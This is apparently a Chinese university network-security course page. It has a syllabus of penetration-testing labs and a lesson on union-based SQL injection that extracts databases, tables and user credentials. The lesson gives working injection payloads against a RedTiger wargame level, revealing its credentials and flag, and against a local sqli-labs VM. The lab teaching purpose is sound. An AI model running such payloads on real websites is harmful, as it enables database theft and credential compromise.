目录

  • 1 §1 实训项目1 搭建网络安全实训环境
    • 1.1 导入(第1次课)
    • 1.2 §1.1 靶场:虚拟机CentOS7.8(192.168.112.100)
      • 1.2.1 (1)DVWA-master
      • 1.2.2 (2)sqli-labs(第3次课)
      • 1.2.3 (3)sqlmap
      • 1.2.4 (4)login, loginPHP
      • 1.2.5 (5)Firefox, Hackbar
      • 1.2.6 2022.09.07作业1 “未知攻,焉知防”
      • 1.2.7 2022.09.14作业3“拖库—爆库、爆表、爆字段、爆数据”
      • 1.2.8 Q&A-1(作业批改、辅导答疑)
    • 1.3 §1.2 Burp(第2次课)
      • 1.3.1 2022.09.08作业2 “工欲善其事,必先利其器”
      • 1.3.2 Q&A-2(作业批改、辅导答疑)
    • 1.4 §1.3 Python
      • 1.4.1 Python的Anaconda3集成开发环境
    • 1.5 §1.4 Kali
      • 1.5.1 2022.09.15作业4“永恒之蓝漏洞”
    • 1.6 §1.5 Wireshark
    • 1.7 2022.09.15腾讯会议答疑
  • 2 §2 实训项目2 SQL注入
    • 2.1 ■(1)SQL注入联合查询(第3次课)
      • 2.1.1 附件:联合查询SQL注入模板
      • 2.1.2 ■模板
    • 2.2 (2)SQL注入(PDF文档)
      • 2.2.1 ①更新Kali系统中的Firefox浏览器并安装浏览器插件
      • 2.2.2 (2)部署sqli-labs学习环境
      • 2.2.3 (3)sqli-labs使用教学
      • 2.2.4 (4)实战:SQL注入联合查询-获取数据库数据
    • 2.3 ■(3)部署loginPHP网站
      • 2.3.1 ●SQL注入测试
      • 2.3.2 ●创建数据库、部署简单登录网站loginPHP、进行SQL注入测试(2019.12.17)
      • 2.3.3 ①login.php
      • 2.3.4 ②loginAuth.php
      • 2.3.5 ③loginAuth1.php
      • 2.3.6 ④success.php
      • 2.3.7 ⑤failure.php
      • 2.3.8 ■⑥(loginPHP网站SQL注入)结果截图
    • 2.4 (4)DVWA的SQL Injection
    • 2.5 (5)拓展视野:靶场SQL注入
  • 3 §3 实训项目3 通过SQLmap进行SQL注入并获得后台管理员账号和密码
    • 3.1 (1)安装DVWA
    • 3.2 (2)安装SQLmap
    • 3.3 (3)※实战 SQLmap探测DVWA的SQL注入漏洞
    • 3.4 (4)结果截图(SQLmap拖库)
    • 3.5 (5)使用BurpSuite进行POST方式的SQL注入
    • 3.6 ■附 安装DVWA-1.9(完整版)
  • 4 §4 实训项目4 使用永恒之蓝漏洞对Win7进行渗透
    • 4.1 (1)获取Win7系统shell、开启远程桌面
    • 4.2 (2)截图
    • 4.3 (3)Metasploit渗透测试
    • 4.4 (4)使用msf渗透攻击XP并进行远程关机
  • 5 §5 实训项目5 安装Kali渗透测试系统
    • 5.1 BT到Kali的发展史
    • 5.2 (1)安装Kali
    • 5.3 (2)安装BT5
    • 5.4 ■附 安装Kali、BT5、DVWA、SQLmap、Win7
  • 6 §6 实训项目6 配置Kali渗透测试系统
    • 6.1 (1)安装Kali渗透测试系统
    • 6.2 (2)SSH连接Kali
    • 6.3 (3)※ettercap抓取FTP登录账号和密码
    • 6.4 (4)结果截图(ettercap抓取FTP登录账号和密码)
  • 7 §7 实训项目7 ARP协议安全攻防
    • 7.1 (1)ARP协议安全攻防(试题)
    • 7.2 (2)※ARP协议安全攻防
    • 7.3 (4)实训 防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.4 (3)练习:防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.5 演示视频 arpsproof+etthercap实施中间人攻击
  • 8 §8 实训项目8 暴力破解
    • 8.1 (1)※实战-通过暴力破解Web登录界面获得管理员权限
    • 8.2 (2)字典工具pydictor.py
    • 8.3 (3)hydra和xhydra
    • 8.4 (4)Medusa
    • 8.5 (5)离线破解md5值和shadow加密文件
    • 8.6 (6)Brute Force(DVWA)
    • 8.7 (7)Burp Suite(Windows)
    • 8.8 (8)Burp Suite(Kali)
  • 9 §9 实训项目9 防止黑客攻破Discuz论坛并拿下数据库
    • 9.1 (1)防止黑客攻破Discuz论坛并拿下数据库
    • 9.2 (2)CentOS6.5-desktop及MySQL
  • 10 §10 实训项目10作业 Wireshark抓取Telnet明文包
    • 10.1 (1)※Wireshark抓取Telnet明文包(CentOS6.5)
    • 10.2 (2)结果截图(Wireshark抓取Telnet明文包)
    • 10.3 (3)常用协议分析(ARP、ICMP、TCP、HTTP、DNS)
  • 11 §11 实训项目11 基于文件上传漏洞获得网站shell权限
    • 11.1 ●文件上传(PDF文档)
    • 11.2 (1)基于文件上传漏洞获得网站shell权限
    • 11.3 (2)本地文件包含漏洞截图
    • 11.4 (3)课程资料
    • 11.5 (4)课外 编辑器KindEditor文件上传漏洞
  • 12 §12 实训项目12 Nmap
    • 12.1 (1)安全工具
    • 12.2 (2)Nmap
    • 12.3 (3)网络空间安全(系统渗透测试篇)
    • 12.4 (4)信息收集
  • 13 §13 实训项目13 File Inclusion文件包含漏洞及防御
    • 13.1 (1)本地文件包含
    • 13.2 (2)远程文件包含
  • 14 §14 实训项目14 XSS跨站脚本攻击
    • 14.1 (1)窃取用户Cookie信息保存到远程服务器
    • 14.2 (2)反射型XSS攻击劫持用户浏览器
    • 14.3 (3)存储型XSS窃取用户信息
  • 15 §15 实训项目15 缓冲区溢出漏洞
  • 16 §16 实训项目16 搭建蜜罐系统捕捉黑客操作步骤
  • 17 考核
    • 17.1 平时成绩(40%+30%)
    • 17.2 期末考试(30%)
  • 18 网络1901-04期末考试(2020-2021-2)
    • 18.1 试题1:damicms
    • 18.2 试题2:sqli-labs
    • 18.3 试题3:dvwa
    • 18.4 试题4:loginPHP
  • 19 校外卷重修-B05123网络安全运行与维护复习
    • 19.1 (1)loginPHP
    • 19.2 (2)Python编程
■(1)SQL注入联合查询(第3次课)

实训项目2 SQL注入联合查询手动挖掘漏洞并获得数据库中的数据结果截图

网络2101-02班——

2022.09.14第1-2节课电脑学习通“直播”回放:

https://zhibo.chaoxing.com/2000179262714019


网络2103班——

2022.09.14第3-4节课电脑学习通“直播”回放:

https://zhibo.chaoxing.com/4000179197678848



联合查询SQL注入模板:


【导入】

http://redtiger.labs.overthewire.org/level1.php

<F12>,Hackbar


?cat=1                      注入点


?cat=1 and 1=2       无显示或报错“This category does not exist!”

?cat=1 and 1=1       正常,说明是数字型

?cat=1 order by 5    报错“This category does not exist!”

?cat=1 order by 4    正常,说明4个字段

?cat=-1 union select 1,2,3,4   回显3,4

?cat=-1 union select 1,2,database(),version()    回显数据库名和版本hackit,5.5.62-0+deb8u1

?cat=-1 union select 1,2,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  显示表名,但报错“Some things are disabled!!!”

不是MySQL数据库,但是提示用户名:Hornoxe,表名:level1_users 

?cat=-1 union select 1,2,username,password from level1_users  得到表level1_users中的用户名、密码:Hornoxe和thatwaseasy


拖库:

http://redtiger.labs.overthewire.org/level1.php?cat=-1 union select 1,2,username,password from level1_users



输入用户名和密码,得到flag:27cbddc803ecde822d87a7e8639f9315





【实战】

可以在Kali系统中进行SQL注入

打开Firefox火狐浏览器,访问:

http://192.168.112.100/sqli-labs/

按F12打开HackBar插件

选择“Less-1”,GET-Error based-single quotes-string


# vi /var/www/html/sqli-labs/Less-1/index.php

第29行

29 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

SELECT * FROM users WHERE id='$id' LIMIT 0,1


一、判断是否存在SQL注入漏洞,单引号闭合,字段数

1.http://192.168.112.100/sqli-labs/Less-1/?id=1

正常显示:

Welcome    Dhakkan

Your Login name:Dumb

Your Password:Dumb


2.http://192.168.112.100/sqli-labs/Less-1/?id=1'

报错:'1'' LIMIT 0,1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

说明单引号没有过滤,存在SQL注入漏洞。


3.http://192.168.112.100/sqli-labs/Less-1/?id=1\

报错:'1\' LIMIT 0,1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1

说明单引号闭合。


4.http://192.168.112.100/sqli-labs/Less-1/?id=1' order by 3--+

SELECT * FROM users WHERE id='$id' LIMIT 0,1

id=1' order by 3--+

SELECT * FROM users WHERE id='1' order by 3--+' LIMIT 0,1

SELECT * FROM users WHERE id='1' order by 3

按第3个字段排序,显示正确或登录成功,说明至少3个字段。

改3为4,报错:Unknown column '4' in 'order clause'

说明只有3个字段。



二、SQL注入联合查询-获取数据库数据

前面已知单引号闭合,3个字段

1.爆出字段的显示位置

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,2,3--+

即:

?id=-1' union select 1,2,3--+

1,2,3,即3个字段。


2.获取数据库名称

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+

即:

?id=-1' union select 1,database(),3--+

数据库:security


函数:

database()-数据库

version()-MySQL版本

user()-用户

@@datadir-数据库目录

@@version_compile_os-操作系统版本


3.列出当前数据库中所有表的名称

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

即:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

当前数据库security有4个表:

emails,referers,uagents,users


4.获取users表中的字段名

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

即:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

users表有3个字段:

id,username,password


因多个数据库中有表users:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

#所有表users的字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,id,username,password


?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

#当前数据库(security)、表users的字段名:id,username,password


?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

#数据库security、表users的字段名:id,username,password


5.获取users表中的用户名、密码字段中的值

数据库:security

表:users

字段:id,username,password

username和password之间加:(冒号):0x3a

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

即:

?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

用户名:密码

username1:password1,username2:password2,username3:password3,......


●5.【爆表】获取users表中的用户名、密码字段中的值

加水平线<hr >:0x3c,0x68,0x72,0x2f,0x3e

http://192.168.112.100/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users--+

即:

?id=-1' union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users--+

用户名:密码

username1:password1

--------------------

,username2:password2

--------------------

,username3:password3

--------------------

,......



※※※※※※※※※※※※※※※※※※※※

数据库,表,字段,记录

1.数据库:security

表:emails,referers,uagents,users

表users的字段:id,username,password

表users的记录:13条

> desc users;       显示表结构


2.数据库:information_schema

表:tables,columns等


数据库:information_schema

(1)表:tables,存放所有数据库(dvwa,mydb,security)中的表名

字段:

 table_schema:数据库名

 table_name:数据库中的表名

 例如:数据库security中有4个表emails,referrers,uagents,users

table_schema

table_name

security

emails

security

referers

security

uagents

security

users


(2)表:columns,存放所有数据库(dvwa,mydb,security)的所有表中的字段名

字段:

 table_schema:数据库名

 table_name:数据库中的表名

 column_name:表中的字段名

 例如:数据库security的表users中有3个字段id,username,password

table_schema

table_name

column_name

security

users

id

security

users

username

security

users

password

注:3个数据库(dvwa,mydb,security)中都有表users!


数据库:sqli-labs数据库security

表:users

字段:

    id:序号

    username:用户名

    password:密码

    例如:数据库security的表users中有3个字段id,username,password

id

username

password

1

Dumb

Dumb

2

Angelina

I-kill-you

3

Dummy

p@ssword

...

...

...


※※※※※※※※※※※※※※※※※※※※